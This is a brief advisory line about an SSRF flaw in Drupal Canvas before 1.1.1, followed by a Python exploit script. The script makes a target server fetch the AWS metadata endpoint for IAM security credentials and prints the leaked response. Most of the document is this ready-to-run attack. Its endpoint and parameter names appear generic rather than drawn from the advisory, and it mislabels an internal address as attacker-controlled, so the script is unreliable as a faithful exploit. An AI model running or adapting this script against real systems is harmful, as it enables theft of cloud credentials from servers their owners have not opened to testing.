Server-Side Request Forgery (SSRF) vulnerability in Drupal Drupal Canvas allows Server Side Request Forgery.This issue affects Drupal Canvas: from 0.0.0 before 1.1.1.
The following code is for security research and authorized testing only.
python
import requests
# Target configuration
target_url = "http://example.com/drupal/canvas/endpoint"
attacker_controlled_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Payload to exploit SSRF
# This payload attempts to fetch cloud metadata from the internal AWS IP
payload = {
"file_path": attacker_controlled_url,
"action": "process_image"
}
try:
print("[*] Sending SSRF payload to target...")
response = requests.post(target_url, data=payload)
if response.status_code == 200:
print("[+] Request successful. Checking response content...")
if response.text:
print("[+] Potential data leaked:")
print(response.text[:500]) # Print first 500 chars
else:
print("[-] No content returned, port might be closed or filtered.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
print(f"[!] Error during exploitation: {e}")